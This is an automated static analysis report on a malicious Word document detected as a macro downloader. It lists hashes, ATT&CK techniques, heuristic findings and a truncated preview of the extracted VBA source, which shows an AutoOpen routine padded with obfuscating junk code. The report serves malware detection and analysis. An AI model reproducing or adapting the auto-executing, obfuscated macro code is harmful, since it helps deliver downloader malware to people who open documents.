Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e440855a3c4c91ff…

MALICIOUS

Office (OLE)

194.9 KB Created: 2019-04-30 09:31:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 861484cf11198e47a3d3c04ff9085c5d SHA-1: 46777f008802c710cf9744cdbbfcf73fa01fe5d7 SHA-256: e440855a3c4c91ff87af8be9a7c2a8b333d3bcd9aa8583168a20ae26e434e172
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains a VBA macro with an autoopen subroutine that utilizes GetObject and CreateObject to launch the Win32_Process WMI object. This is a common technique for executing arbitrary commands or downloading and running additional payloads. The macro also exhibits string obfuscation by splitting keywords like 'winmgmts'. The ClamAV detection further confirms its malicious nature as a downloader.

Heuristics 9

  • ClamAV: Doc.Downloader.00536d-6958656-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6958656-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 39188 bytes
SHA-256: 04d1a140b6931522e5429fd81ad1500a87518bb50f426ea9643d0c759e5c6c70
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "sCUxAAAA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "lG4cwD"
Attribute VB_Base = "0{EBC644D4-E386-413C-908E-8481485EB75E}{EC580E15-8A81-4B78-88AB-84AAC279D031}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "TUUBC1A"
Attribute VB_Base = "0{3167F5AA-0D09-48E8-85A9-2ACA6C93CB70}{EEF0353F-884E-4D91-BC63-4F5627EB9542}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "MxwAUDA"
Sub autoopen()
   If HU41ADUZ = L4AZXAUU Then
ElseIf tCUAcc4C = RAAUUAQ Then
            PBQUB_UZ = Hex(JADBBxwx + CSng(C_AGUA / Tan(970737797 + 556162569)))
ElseIf nCAoxXDQ = dZADAAAU Then
            ZAAcAAAk = Atn(679437309) + Int(131615049)
ElseIf zAkwUXQA = tBABAAA Then
            ODo1AZ = 448721800 + Atn(136639462)
End If
   If GXAAADA_ = kAcAAQ Then
ElseIf hXAxZAA = iC1cDU Then
            DAQBAQ = Hex(XCZA1Q + CSng(HxAQDU_ / Tan(462506023 + 246436896)))
ElseIf a4w44o4 = bAZA4oAZ Then
            pkAABDG = Atn(326522074) + Int(129585114)
ElseIf D4AXAQw = NUA4oDZ4 Then
            hcA4XA = 883858803 + Atn(693918168)
End If
jQAAxZ_
   If FQBXU_U = UZUo1BAA Then
ElseIf bAoQXAB = JAAx1G Then
            rCACwUBA = Hex(MD1xBBA + CSng(KAUDBAD / Tan(289954362 + 68963466)))
ElseIf UXoAAUA = iADcA4 Then
            IDwQAX = Atn(192828462) + Int(178883383)
ElseIf I4kDQBU = XGwXAQ Then
            HUUAcBDk = 722919832 + Atn(361484891)
End If
   If EAGG1A1 = iwxAD_ Then
ElseIf BQBQQD = vUAQAA_A Then
            VDQ4kA = Hex(jABoAc + CSng(JQwUBB_ / Tan(747333040 + 376130019)))
ElseIf PABA4AA = iAGUUDU Then
            CcADAB = Atn(691073589) + Int(205421895)
ElseIf t4AwQBD = twkUAwAA Then
            OXAAGA4 = 820586426 + Atn(212776036)
End If
End Sub
Function KwDCUk(JUAAAAAA)
   If YAGAXU = woAAAD Then
ElseIf PBDBXkA = fAZ1A1k Then
            NwBwACZC = Hex(oGXoAAk + CSng(rDDUDBB / Tan(648705149 + 949573156)))
ElseIf iAC1BAQD = DAZDQAA Then
            zADQCAA = Atn(495369129) + Int(231476101)
ElseIf PBDAQB = CAQxXCQA Then
            qxAQDoQ = 217618812 + Atn(159211596)
End If
   If X41CAAc = jAAUZx Then
ElseIf rQAUAQ = OQDCUwxo Then
            KcGB4A = Hex(PDxAQ1A + CSng(TocxD_ / Tan(169904674 + 341042040)))
ElseIf UZAAQQ1 = iAADQxw_ Then
            zAADXA = Atn(9222619) + Int(949679386)
ElseIf aQwDQw = P_1wZcAQ Then
            JxBxUkwQ = 361956331 + Atn(147205240)
End If
Set KwDCUk = CVar(JUAAAAAA)
   If DDAZAcBB = LxcxxAQ Then
ElseIf HoAx_Qxc = J_xAA_4Z Then
            MU4XAQCw = Hex(zC_Q4o + CSng(ocAcoA / Tan(555200342 + 907486524)))
ElseIf rQUA4A = OAUCBAAZ Then
            A_k11B = Atn(710272978) + Int(195646544)
ElseIf aUAUAA = pXDAAB Then
            RBU4ADA = 332618772 + Atn(894355665)
End If
   If PAADAC = cA1Q1A_ Then
ElseIf ZAGAxAAB = vGxQwA Then
            Vw_GAQZ = Hex(fGQAAoAA + CSng(z1AAQw / Tan(863611492 + 19546555)))
ElseIf JDxGAAD = JAADAGAA Then
            pQU44A = Atn(334802405) + Int(489768733)
ElseIf XoQQkUQG = jZcxAAAA Then
            SDABAQ__ = 418002456 + Atn(23872221)
End If
   If HQCBXko1 = VAU4Xx Then
ElseIf GUUQAB = LU_AAw1 Then
            sU1CkBA = Hex(UBAxAA1 + CSng(SxDADwB / Tan(903309971 + 473274309)))
ElseIf FXCxxAA = zoAcAX Then
            K4AA1ACD = Atn(210664378) + Int(814378656)
ElseIf TwDc__ = ux_AB4Z Then
            ToXAoU = 876606067 + Atn(79912719)
End If
End Function

Attribute VB_Name = "MBAU__A"
Function jQAAxZ_()
On Error Resume Next
   If CAABAAoX = jBXGABBZ Then
ElseIf AQ4AGAcD = ZXZAAx Then
            vZ4AG
... (truncated)

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